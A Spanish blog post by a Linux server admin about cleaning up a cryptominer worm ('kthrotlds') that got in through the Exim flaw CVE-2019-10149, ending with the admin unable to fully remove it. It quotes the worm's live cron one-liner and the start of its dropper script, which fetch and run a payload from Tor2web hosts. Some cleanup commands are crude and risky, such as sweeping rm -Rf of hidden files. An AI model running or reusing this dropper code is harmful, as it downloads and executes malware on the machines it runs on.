Ingresar  \/ 
x
 Use Facebook account  Use Google account  Use Microsoft account  Use LinkedIn account
o
x
  • Fututel
  • Blog
  • El proceso kthrotlds se está comiendo toda la CPU de mi servidor Linux. Crontab Daemon enviando correos. Vulnerabilidad de Exim

El proceso kthrotlds se está comiendo toda la CPU de mi servidor Linux. Crontab Daemon enviando correos. Vulnerabilidad de Exim

El proceso kthrotlds se está comiendo toda la CPU de mi servidor Linux. Crontab Daemon enviando correos. Vulnerabilidad de Exim El proceso kthrotlds se está comiendo toda la CPU de mi servidor Linux. Crontab Daemon enviando correos masivos cada 4 minutos. Vulnerabilidad de Exim CVE-2019-10149. Solución paso a paso. 5 1 1 1 1 1 1 1 1 1 1 Rating 5.00 (2 Votes)

Introducción

El proceso kthrotlds se está comiendo toda la CPU de mi servidor Linux. Crontab Daemon enviando correos masivos cada 4 minutos. Vulnerabilidad de Exim CVE-2019-10149. Solución paso a paso. Desde hace unos 2 días, es decir, aproximadamente desde el 5 de Julio de 2019, me estuvieron llegando muchos correos al correo de mi dominio, enviados por el Cron Daemon. Al principio pensé que quizás tenía alguna tarea programada que estaba haciéndose y que enviaba un correo de notificación cada vez que se ejecutara. Procedí a apagar las notificaciones en mi VestaCP, que es el gestor de websites que usaba, pero no tuvo efecto. Después me dí cuenta también, usando el comando top en la consola, que había un proceso raro llamado kthrotlds que se estaba comiendo/usando toda la CPU. En las imágenes de abajo les muestro evidencia de los corrreos entrantes y el resultado de top. A la vulnerabilidad al parecer le han puesto el código CVE-2019-10149. Los asuntos de los correos eran:

Cron <root@fututel> tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "C

el proceso kthrotlds se estaba comiendo toda la cpu comando top

cron daemon enviando muchos correos sospechosos tbincommand v passwd

De acuerdo a lo visto, el asunto de los correos eran:

Cron <root@fututel> tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "C

Y el contenido decía simplemente:

Sent!

El remitente era:

(Cron Daemon) <Esta dirección de correo electrónico está siendo protegida contra los robots de spam. Necesita tener JavaScript habilitado para poder verlo.>

Llegaban como 3 correos iguales cada 4 minutos.

Me puse a investigar y encontré otras cosas extrañas también.

1. Que el comando crontab -l ni el crontab -e funcionaban como correspondía normalmente.

comando crontab l e no funcionaba correctamente

2. Que buscando si había algún documento que tuviera dentro de sí, parte del contenido del asunto de los correos entrantes de Cron Daemon con el comando grep, a saber:

grep -nrw 'tbin=$(command -v passwd)' '/'

Me encontré que sí, que había varios archivos que lo contenían, y uno de ellos era /var/spool/cron/root, que entiendo que era una tarea programada, y precisamente una de las cuales por las que se estaba enviando los correos entrantes. Vea la captura de pantalla con los resultados abajo.

buscando con grep codigo de asunto de correo cron daemon kthrotlds

De acuerdo a lo analizado, probablemente eran por lo menos 3 tareas distintas que se ejecutaban cada 4 minutos, lo cual resultaba en 3 correos enviados cada 4 minutos (lo cual ya fue expuesto antes).

3. Buscando en internet de distintas maneras, aunque al principio no encontraba algo bien claro, finalmente encontré este artículo: https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability, el cual me abrió mucho los ojos y comprendí que aparentemente había sido víctima de un ataque/hacking a mi servidor aprovechándose de una vulnerabilidad del MTA de correos muy común en Linux, y precisamente que mi servidor también lo tenía, llamado Exim. Le hice una leída más o menos exhaustiva y sí, parece que era mi mismo problema. El artículo fecha de 13 de Junio de 2019, solo unos días antes de hoy 7 Julio 2019, por lo cual el asunto es reciente. En adelante, explicaré un poco sobre lo que trata el artículo y cómo solucionar el problema.

vulnerabilidad de exim correos linux junio 2019 tor cripto minero usando root

Según parece, la finalidad del hacking es crear scripts/códigos para utilizar el servidor para minar criptomonedas (cryptocurrency miner, coinminer) y pues éso según pude saber es lo que ocupa muchísimaaaa CPU del servidor. Antes, también había podido ver un script que se le estaba consumiendo toda la CPU del servidor de un cliente, al cual parece que le habían incrustado unos scripts de cron/scheduling y de minería también; se borró y se bajó la CPU a lo normal; éso fue un caso de hace algunos meses atrás pero no sé si fue de los mismos que estamos tratando en este tutorial por vulnerabilidad de Exim. ¿Para qué colocan archivos mineros? Pues entiendo que para finalmente crear criptomonedas y así ganar $$$ plata.

Sigamos contando. Además, según vi, se borraron las tareas legítimas de Crond y se creó una tarea dentro del archivo: /var/spool/cron/root. Según mostamos arriba, también hay códigos maliciosos en otros archivos.

De acuerdo al artículo, los scripts de tareas en Cron lo que hacen es bajar archivo(s) que son propiamente los mineros de criptomonedas, y pues allí entre unos y/u otros también sirven para hackear otras máquinas y seguir la cadena de "maldad". Todo una trama de ataque a sí mismo y ataque a sus prójimos, jejeje. En todo caso, no suena muy risueño para quien sufrimos el ataque. Los archivos de criptomonedas con disfrazados con extensiones que parecen verdaderas, .ico (sí las mismas de ícono), pero que contienen los scripts para minar.

Bueno, ahora bien, pues ya identificado/diagnosticado el problema, vamos a proceder a solucionar/eliminar el problema. Iremos explicando detalladamente cómo procurar ir solucionando el problema, lo cual esperamos llegar a una solución total.

Buscando solucionar totalmente el problema de hacking al exim: kthrotlds. Procedimiento detallado.

1. Hagamos un backup 

Es muy importante hacer un backup del servidor o aplicaciones en interés. En mi caso, usaba Proxmox y simplemente hice un backup usando su interface. En su caso, vea cómo se puede hacer el respaldo, el cual es mejor hacerlo antes de seguir con los siguientes pasos, por seguridad, ya que depronto las cosas no salen como esperamos y necesitamos volver a empezar.

2. Buscaremos borrar los archivos y procesos dañinos

Con grep podemos detectar en qué archivos están los códigos maliciosos relacionados. Buscaremos primero los que estén relacionados con las ejecuciones de tareas en Cron, buscando como patrón alguna parte del código que aparece en el asunto de los correos entrantes; en nuestro caso, usaremos el patrón de búsqueda tbin=$(command -v passwd) y puede que otros más , pero usted puede usar cualquier otra parte(s)/patrón(es) que considere pertinente.

grep -nrw 'tbin=$(command -v passwd)' '/'

Los resultados muestran código en distintos archivos, los cuales eliminaremos. Cuando consideremos conveniente, vamos a consultar si el consumo de CPU disminuyó o no. Nótese que varios archivos y directorios estarán en modo oculto, es decir, con el punto . por delante del nombre, ésto para esconderlos mejor; puedes listarlos añadiendo la opción a a ls, por ejemplo: ls -a, y para mejor visibilidad puedes agregar más opciones, por ejemplo: ls -lsa. Después de consultar bien los archivos maliciosos, procedemos a eliminarlos, pero antes les mostraremos un ejemplo de código malicioso presente en el archivo /.cache/.ntp, el cual por supuesto va a ser uno de los eliminados; observe las palabras tor2web, kthrotlds, an7kmd2wp4xo7hpr, etc, presentes en el contenido de tal archivo.

ejemplo codigo malicioso en cache ntp tor2web kthrotlds

Ahora sí, a remover archivos de "maldad". ¡¡¡Ojo con eliminar los archivos legítimos!!!

rm -f /.cache/.ntp /root/.cache/.ntp /root/.editorinfo /var/spool/cron/root /var/spool/exim/.editorinfo

En nuestro caso, el archivo /root/.bash_history parece no contener sino únicamente el historial de comandos en bash y por lo tanto inofensivo. El archivo /var/log/cron simplemente hace log de las tareas de cron y nos sirve para mantener el registro de operaciones de cron, NO lo removeremos tampoco.

Cuando ejecutamos el código para eliminar varios archivos a la vez de arriba, no nos dejó eliminar uno de los archivos:

rm: cannot remove '/var/spool/cron/root': Operation not permitted

Como ves, el archivo no se deja remover normalmente. Quizás tenga el atributo de inmutable y no permita removerse, ejecutaremos el siguiente comando con el ánimo de quitarle esa propiedad e intentar de nuevo eliminarlo:

chattr -i /var/spool/cron/root
rm -f /var/spool/cron/root

Bien, sí funcionó, quedó eliminado. Peroooooo, curiosamente hay algún script aparte que ha vuelto a recrear este archivo, ya que aparece de nuevo; OK, vamos por los demás archivos de maldad!!! Y otra sorpresa: el archivo /root/.cache/.ntp también fue creado de nuevo. En todo caso, seguimos en la lucha.

Ahora seguiremos en la búsqueda de los .ico malos, los cuales son los mineros y quizás estén resucitando también los archivos anteriores. Buscaremos también .ico que estén escondidos (hidden).

find / -name *.ico

De acuerdo a lo examinado, borraremos los siguientes archivos. De nuevo, cuidado con borrar los legítimos. Si se trata de ver el contenido con cat de estos archivos, no es posible visualizarlos, pero según la guía del link anterior de cybereason.com, son los mineros y obviamente deberíamos eliminarlos. Además, en nuestro caso, debido a la ubicación donde están y como se llama que es favicon.ico no hay razón para encontrarse en esas carpetas y tampoco como hidden .favincon.ico. Recuerda agregar el argumento -a para visualizar todos los archivos dentro de una carpeta incluyendo los hidden.

rm -f /.cache/.favicon.ico /root/.cache/.favicon.ico

 Ahora intentaremos de nuevo a borrar los archivos de arriba para ver si vuelven a resucitarsen :) Por cierto ejecutando grep de nuevo, noté que /root/.editorinfo también se había resucitado, así que, por facilidad ejecutaremos de nuevo todo el comando para eliminar:

rm -f /.cache/.ntp /root/.cache/.ntp /root/.editorinfo /var/spool/cron/root /var/spool/exim/.editorinfo

Y esperaremos si se vuelven a recrear. Como /var/spool/cron/root no se deja eliminar así no más, hay que volver a ejecutar:

chattr -i /var/spool/cron/root
rm -f /var/spool/cron/root

Umm!!! Sorpresa de nuevo: el archivo /root/.cache/.favicon.ico ha sido recreado. Como todo parece trabajar en un ciclo cerrado y si eliminamos uno y luego otro, resultan resucitándose entre sí, pues vamos a eliminarlos todos a la vez tratando de romper ese ciclo de recreaciones, así:

rm -f /.cache/.ntp /root/.cache/.ntp /root/.editorinfo /var/spool/cron/root /var/spool/exim/.editorinfo /.cache/.favicon.ico /root/.cache/.favicon.ico | chattr -i /var/spool/cron/root | rm -f /var/spool/cron/root

Peroooooo!!! No, aún no, un round en contra, por lo menos el archivo /var/spool/cron/root se creó de nuevo. Bueno, vamos a buscar ser más contundentes en nuestra pele. De acuerdo a lo que hemos podido ver hay otros archivos sospechosos en las carpetas /.cache, incluso de por si esta carpeta es sospechosa, por lo cual vamos a eliminarla toda; y de paso vamos a eliminar casi o todas las carpetas y archivos que aparecen como hidden, es decir, precedidos con ., en la carpeta principal /. Ustedes pueden verificar con su conocimiento y experiencia, y usando Google, si los archivos hidden que ven son legítimos o no. Además, procurando evitar ciclos de resucitación vamos a colocar de una vez todas las carpetas y archivos por eliminar en una misma línea de comandos, sea que estén en la raíz / o en otros directorios. Una cosa más: es muy recomendable tener un backup antes de haber iniciado este tutorial, por si las cosas no salen muy bien y necesitamos volver a empezar (ya fue el Paso 1., y lo retomo aquí por si lo han olvidado o...).

rm -Rf .autorelabel .pki .cache .rnd /root/.cache /root/.editorinfo /root/.pki /root/.rnd /root/.vqry | chattr -i /var/spool/cron/root | rm -f /var/spool/cron/root

Pero resulta que dice:
rm: cannot remove '.cache/.kswapd': Operation not permitted
rm: cannot remove '/root/.cache/.kswapd': Operation not permitted

Así que, quizás también estén inmutables y sea necesario aplicarles el comando para cambiarles éso. Modificamos el código de antes  agregándoles los chattr -i correspondientes. Pero antes, teniendo en cuenta que esta línea de código solución la iremos modificando mientras vamos encontrando la solución definitiva, la llamaremos, por facilidad, el código completo: Código CC.

rm -f /.cache/.ntp /root/.cache/.ntp /root/.editorinfo /var/spool/cron/root /var/spool/exim/.editorinfo /.cache/.favicon.ico /root/.cache/.favicon.ico | chattr -i /var/spool/cron/root | rm -f /var/spool/cron/root |  chattr -i .cache/.kswapd | rm -f .cache/.kswapd | chattr -i /root/.cache/.kswapd | rm -f /root/.cache/.kswapd
Puede que necesites ejectutarlos más de una vez, igual no pasaría nada incorrecto. Y luego vuelve y juega verificando con grep y find si los archivos se vuelven a crear o no.

Ahora bien, verificando con top, aún el proceso kthrotlds continúa consumiendo toda la CPU. Aún debemos ver cuál es el archivo que ejecuta este proceso para eliminarlo. Hay un archivo que sigue apareciendo todavía: /var/spool/cron/root, y bueno! parece que otros también, lo cual quizás nos sirva para llegar más a la raíz de este asunto. Por ahora, vamos a matar/kill el proceso kthrotlds , que aparece consumiendo la CPU.

Ejecutamos:

top

De lo cual obtenemos el pid de kthrotlds. Y luego con ese pid, en nuestro caso 9924, kthrotlds, hacemos:

kill 9924

No obstante, a pesar de que el proceso muere, en unos cuantos segundos vuelve y se recrea. Vamos a seguir en la pelea. Buscando por la palabra: kthrotlds, con:

grep -nrw 'kthrotlds' '/'

Vemos que el archivo /root/.cache/.ntp - que por cierto es bastante extenso y sofisticado - contiene esa palabra kthrotlds, y por lo tanto es posible que sea el script que lo esté generando. En todo caso, vamos a ejecutar el código completo de antes más lo referente a matar el proceso de  kthrotlds. Podemos ejecutar ps aux para visualizar el o los procesos relacionado con kthrotlds, de lo cual se desprende que podemos ejecutar pidof [kthrotlds], con los corchetes rodeándolo porque si no, no aparecerá nada; si comparamos ese pid con el de top vemos que es el mismo. Entonces, manos a la obra con el código de comandos Código CC más completo:

 kill `pidof [kthrotlds]` | rm -f /.cache/.ntp /root/.cache/.ntp /root/.editorinfo /var/spool/cron/root /var/spool/exim/.editorinfo /.cache/.favicon.ico /root/.cache/.favicon.ico | chattr -i /var/spool/cron/root | rm -f /var/spool/cron/root |  chattr -i .cache/.kswapd | rm -f .cache/.kswapd | chattr -i /root/.cache/.kswapd | rm -f /root/.cache/.kswapd | kill `pidof [kthrotlds]`

Puede que necesites ejecutar la anterior línea de código 2 a 3 veces seguidas, ya que los procesos tratan de recrearsen, y haciéndolo varias se pretende evitar éso también. De todas maneras, la felicidad solo duró unos pocos segundos, ya que el proceso kthrotlds y el archivo root/.cache/.ntp volvieron a aparecer, debe haber algo más. Seguimos en la lucha :)

En este momento, pienso que puede que estén inyectando el código desde afuera y tenga que ver que el Exim aún esté desactualizado (según el escrito de cybereason.com, se debe actualizar a Exim a la versión 4.92 o superior) , y que quizás por esta razón aún haya una puerta abierta desde afuera, la cual fue al fin de cuentas la puerta de la primera entrada. Podríamos tratar de actualizar únicamente este paquete de Exim, pero vamos a ver si actualizando el sistema operativo, quizás ya tenga actualización para el Exim también. En este ejemplo, tenemos Centos 7; debes ejecutar el comando que corresponda a tu OS. Ejecutamos:

yum update

En nuestro caso, aparece que la actualización de Exim es precisamente a 4.92. Hoy es 7 Julio 2019. Es decir, que simplemente aceptando el anterior comando va a ser suficiente. De paso, se actualizan otros paquetes también y resulte mejor la operación para evitar posibles hackeos por otros programas. De aquí se desprende que una forma posible forma segura de evitar - en caso que aún no haya ocurrido - que a tu servidor te inyecten código aprovechando la vulnerabilidad de Exim, es darte prisa y actualizar tu OS, al menos éso pasa con Centos 7 a este fecha.

 exim                                         x86_64             4.92-1.el7                           epel                   1.4 M
Si te sale algún error después de aceptar la instalación, tal vez te funcione si pones:
yum check-update

Y vuelves a intentar a actualizar con yum update.

En esta fase, antes de volver a ejecutar el código que hemos ido completando arriba, aprovechamos para agregarle el código para eliminar los authorized_keys dentro de la carpeta /root/.ssh para evitar acceso root no autorizados, es decir, adicionarle:

chattr -i  /root/.ssh/authorized_keys | rm -f /root/.ssh/authorized_keys

Quedando el Código CC:

kill `pidof [kthrotlds]` | rm -f /.cache/.ntp /root/.cache/.ntp /root/.editorinfo /var/spool/exim/.editorinfo /.cache/.favicon.ico /root/.cache/.favicon.ico | chattr -i /var/spool/cron/root | rm -f /var/spool/cron/root |  chattr -i .cache/.kswapd | rm -f .cache/.kswapd | chattr -i /root/.cache/.kswapd | rm -f /root/.cache/.kswapd | kill `pidof [kthrotlds]` | chattr -i  /root/.ssh/authorized_keys | rm -f /root/.ssh/authorized_keys
Ejecutar el código varias veces, yo lo hice como 6 veces. En mi caso, el proceso no apareció en top por varios segundos (quizás un minuto) pero luego apareció de nuevo. Seguimos a la siguiente estrategia.

En esta etapa, creo que es posible que haya alguna tarea que aún sigue ejecutándose reviviendo a kthrotlds. Hasta ahora, ha sido una lucha larga pero que pienso que dará mejores frutos. Para comprobar si alguna tarea es la que está ocasionando que volvamos al principio, apagaremos el daemon de cron para ver qué pasa, así:

service crond stop

Y volvemos a ejecutar el Código CC varias veces seguidas rápidamente. Y es que pensándolo más, un script hace daño solamente si se ejecuta, de otra manera es como una arma guardada sin usar (indefensa), y pues en este caso, es muyyyyy probable que se ejecute es a través del daemon de Cron. Pienso que quizás debí haber caído en cuenta mucho antes, que todo debió haber empezado sobretodo en el daemon, y que por tal motivo deberíamos enfocarnos en cómo está configurado y cuáles son sus tareas/scripts actuales. Pero bueno, todo ha servido en el aprendizaje; en este momento nos centraremos más en el Cron, teniendo en cuenta que finalmente pudimos parar el accionar de kthrotlds deteniendo el crond (ya van más de 3 minutos y no apareció en top, y creo que no lo hará con el crond apagado, a menos que empiece a ejecutarse como respuesta a otra acción), pero pues la idea es prender el crond pero que kthrotlds no se ejecute. Listo, entonces a buscar en el crond donde se ejecuta lo de kthrotlds, lo cual parece estar bien escondidito por el hacker :). Examinaremos el código de /root/.cache/.ntp, para tratar de vislumbra qué se le hizo a la configuración del crond (todo el código de este peligroso script se anexa al final). Antes de seguir, una recomendación que se desprende de lo que he hablado en este párrafo, y es que si tienes un problema de hackeo en tu servidor en que hay mucho consumo de tu CPU, quizás lo mejor en cuanto a más rápido y efectivo para que no siga ese consumo exagerado es precisamente detener el crond y el proceso que se come la CPU, y ya luego puedes tratar de solucionarlo, pero el servidor estará funcionando Ok (pues no del todo es seguro que sea así, pero es muy probable que te sirva); aunque lo otro también es que se ejecute algún script cuando reinicies el equipo u otra acción, por ejemplo.

Me acordé de algo más, que puede ser conveniente hacer y es cambiarle la contraseña root al servidor, no sea que el hacker ya la conozca. Es fácil, simplemente ejecutas:

passwd

Y te pedirá ingresar tu nueva contraseña 2 veces.

Algo que he notado, es que el archivo /var/spool/cron/root, lo borro una y otra vez y vuelve y se genera.

Si buscamos la palabra: tor2web, la cual aparece en los códigos malicioso, y pues esa palabra es maliciosa en sí, pero especifícamente en el directorio de /etc, que es muy importante en las configuraciones de Linux (y puede que sea conveniente uno de los primeros directorios a examinar en caso de hacking), así:

grep -nrw 'tor2web' '/etc'

Encontramos que los directorios y archivos relacionados con cron están rellenos del código malicioso, por ejemplo, cronlog, root,...

codigo malicioso en directorio etc crond linux tor2web

Lo cual es seguramente la razón por la cual kthrotlds se activa apenas el daemon cron se enciende.

Hay algo que me pasó desde el principio y era que cuando colocaba el comando crontab -e o crontab -l, me lanzaba el siguiente error:

crontab: can't change directory to '/var/spool/cron/crontabs': No such file or directory

Lo cual parece que no es una coincidencia, sino que el hacking borró el directorio /var/spool/cron/crontabs. Pues empecemos con volverlo a crear con:

mkdir /var/spool/cron/crontabs

Y verá que volvemos a ejecutar crontab -l y ahora sí aparecerá una tarea, la cual es del usuario root que es el usuario actual:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <Esta dirección de correo electrónico está siendo protegida contra los robots de spam. Necesita tener JavaScript habilitado para poder verlo.>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /root/.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.d2web.org/src/ldm -o /root/.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.d2web.org/src/ldm -O /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /root/.cache/.ntp) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp

Es muy posible, que el programador del código malicioso haya pensado en evitar el ingreso con el crontab -l para que no fuera obvio ver esa tarea maligna. Ya que podemos editar, ejecutamos crontab -e para borrar esa tarea de root. Pero vea la sorpresa que por más que intento guardar con crontab -e, quitando el texto y luego dando Escape y escribiendo :wq, los cambios no se guardan, me imagino que tal vez el hackeador programó permisos insuficientes para editar este archivo o que se recrea muy rapidísimo; en todo caso pensamos eliminarlo después de otra manera. Seguimos verificando. Podríamos tratar de reinstalar de nuevo a cron, pero realmente me interesa saber lo que ha hecho el hacker y generar así más conocimiento del tema.

Otra observación. Si simplemente apago crond con service crond stop y mató el proceso con kill `pidof [kthrotlds]`, el proceso vuelve a estar en unos muy pocos segundos. El resultado es duradero si luego de apagar el crond ejecutó el último Código CC, lo cual lo recomiendo ejecutar unas 6 veces seguidas.

Volvemos de nuevo a procurar buscar archivos que contengan tor2web e ir eliminándolos:

grep -nrw 'tor2web' '/etc'

Removemos:

chattr -i /etc/cron.d/root /etc/cron.d/.cronbus /etc/crontab | rm -Rf /etc/cron.monthly/cronlog /etc/crontab /etc/cron.daily/cronlog /etc/cron.hourly/cronlog /etc/cron.d/root /etc/cron.d/.cronbus
Otra cosa, si ejecutamos top y vemos que el proceso kthrotlds se prende de nuevo, aplicamos de nuevo el código CC para que se nos permita trabajar.

Ahora seguimos buscando en otra carpeta:

grep -nrw 'tor2web' '/usr'

Removemos los archivos maliciosos:

chattr -i /usr/local/bin/nptd | rm -Rf /usr/local/bin/nptd /usr/local/bin/npt

Si lo notas, los nombre de npt son muy parecidos a los del protocolo para sincronizar hora que son ntp; lo que cambio es el orden entre la p y la t; en el legítimo el orden es primero la t y luego la p: ntp (de Network Time Protocol).

Puedo que quieras verificar que todo se borró aplicando de nuevo el grep respectivo.

Por ahí buscando en internet, encontré esta guía que quizás quieran leerla: https://www.kb.penguinbliss.com/?p=643

Ahora a buscar en el directorio /var, pero como tor2web se repite tanto en el código malicioso generando mucha repetición en los resultados de búsqueda, más bien voy a usar otra palabra que parece estar en todos los códigos maliciosos también pero solo una vez por archivo y ésto facilita la identificación de los archivos, a saber la palabra an7kmd2wp4xo7hpr.

grep -nrw 'an7kmd2wp4xo7hpr' '/var'

Eliminamos:

chattr -i /var/spool/cron/root | rm -Rf /var/spool/cron/root | chattr -i /var/spool/cron/crontabs/root | rm -Rf /var/spool/cron/crontabs/root

Por lo que noté, puede que la anterior línea de comando la requiere ejecutar unas 3 veces seguidas, ya que tratan de recrearsen. Aunque aún ejecutando varias veces la línea, vi que volvieron a aparecer; pues dejamos esta para más tarde; continuamos con los directorios restantes.

Volvemos a quitar:

chattr -i /.cache/.kswapd | rm -Rf .autorelabel .cache .pki
grep -nrw 'an7kmd2wp4xo7hpr' '/root'
rm -Rf /root/.editorinfo
grep -nrw 'an7kmd2wp4xo7hpr' '/backup'
grep -nrw 'an7kmd2wp4xo7hpr' '/bin'
grep -nrw 'an7kmd2wp4xo7hpr' '/boot'
grep -nrw 'an7kmd2wp4xo7hpr' '/dev'
grep -nrw 'an7kmd2wp4xo7hpr' '/home'
grep -nrw 'an7kmd2wp4xo7hpr' '/lib'
grep -nrw 'an7kmd2wp4xo7hpr' '/lib64'
grep -nrw 'an7kmd2wp4xo7hpr' '/tmp'
grep -nrw 'an7kmd2wp4xo7hpr' '/opt'

No se encontró nada en /backup, /bin/, /boot, /dev, /home/, /lib, /lib64, /tmp, /opt

Ya hemos sabido en buena manera que el código malicioso se ha propagado bastante y que es bastante sofisticado y difícil de acabarse en cuanto a que algunos archivos vuelven y nacen. De cualquier forma, ahora vamos a reinstalar a cron con el ánimo de tener una instalación del mismo que sea pura. Lo eliminamos con:

yum remove crontabs

E instalamos de nuevo:

yum install crontabs

Remuevas la línea sh /usr/local/bin/npt dentro del archivo /etc/rc.local.

Hay algo que recrea una y otra vez el archivo /var/spool/cron/root con el mismo código malicioso. Esperamos poder desmantelar la causa.

Podemos usar el siguiente código para ver los últimos archivos modificados y quizás allí ver los archivos problemáticos, teniendo en cuenta que en nuestro caso el problema empezó hace unos 2 días.

find /etc -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r

Comenté las siguientes 2 líneas de /etc/ssh/ssh_config:

#RSAAuthentication yes
#PubkeyAuthentication yes

En todo caso, después de un tiempo, sean minutos u horas, el proceso kthrotlds vuelve a ejecutarse. Por ahora, dejamos así, esperamos que aunque la solución no se dio plena, sí podamos haber tenido un aprendizaje significativo sobre en qué consiste este problema de hacking, y tomar precauciones en los otros/próximos servidores.

Conclusión. Casi logramos solucionar totalmente pero no se alcanzó; a cambiar de servidor

Teniendo en cuenta todo el trabajo ya hecho y que a pesar de ello aún no hemos encontrado una solución duradera que elimine todosss los archivos maliciosos, casi pero no todos, y que si se vuelve a prender el daemon de cron vuelve e inicia el programa kthrotlds y volvemos al principio, además de que incluso borrando estos archivos se corra el riesgo de que quede algún script o puerta abierta... (los archivos malignos son bien largos y aparentemente sofisticados en sus algoritmos), es preferible hacer un backup de los archivos y base de datos presentes en el sistema actual y pasarlos a un nuevo servidor limpio y actualizado con el Exim a 4.92. Nótese que incluso sin necesidad de prender el cron, al parecer después de varias horas o días, el proceso kthrotlds se enciende de nuevo (sofisticado el hacking :) ). Continuando lo del respaldo de datos; en nuestro caso, haremos un backup con VestaCP y lo pasaremos de nuevo a un servidor con un VestaCP nuevo y limpio. De todos modos, espero que este intento de solución haya sido una buena experiencia de aprendizaje, y que si encuentran algo para mejorar este artículo lo escriban abajo en los comentarios. Saludes, Dios los bendiga!!!

La ñapa. Ejemplo de código malicioso principal en /root/.cache/.ntp

Por último les anexo, el código presente en el archivo /root/.cache/.ntp, el cual parece ser uno de los principales, y quizás sirva para acabar de desmantelar las acciones peligrosas de este código. Cualquier comentario y demás por favor escribirlos abajo.

#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="https://an7kmd2wp4xo7hpr"
TOR1=".tor2web.su/"
TOR2=".d2web.org/"
TOR3=".onion.sh/"
RPATH1='src/ldm'
#LPATH="${HOME-/tmp}/.cache/"
TIMEOUT="75"
CTIMEOUT="22"
COPTS=" -fsSLk --retry 2 --connect-timeout ${CTIMEOUT} --max-time ${TIMEOUT} "
WOPTS=" --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=${CTIMEOUT} --timeout=${TIMEOUT} "
tbin=$(command -v passwd); bpath=$(dirname "${tbin}")
curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi
wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q ".wgetrc'-style command" && wget="$f" && break; done; fi; fi
#CHKCURL='curl="curl "; wget="wget "; if [ "$(whoami)" = "root" ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl="echo "; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget="echo "; fi; if [ $(cat /etc/hosts|grep -i "onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; fi; '
CHKCURL='tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <Esta dirección de correo electrónico está siendo protegida contra los robots de spam. Necesita tener JavaScript habilitado para poder verlo.>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; '
LBIN8="kthrotlds"
null=' >/dev/null 2>&1'
sudoer=1
sudo=''
if [ "$(whoami)" != "root" ]; then
    sudo="sudo "
    timeout 1 sudo echo 'kthreadd' 2>/dev/null && sudoer=1||{ sudo=''; sudoer=0; }
fi
if [ $(command -v nohup|wc -l) -ne 0 ] && [ "$1" != "-n" ] && [ -f "$0" ]; then
    ${sudo} chmod +x "$0"
    nohup ${sudo} "$0" -n >/dev/null 2>&1 &
    echo 'Sent!'
    exit $?
fi
rand=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c $(shuf -i 4-16 -n 1) ; echo ''); if [ -z ${rand} ]; then rand='.tmp'; fi
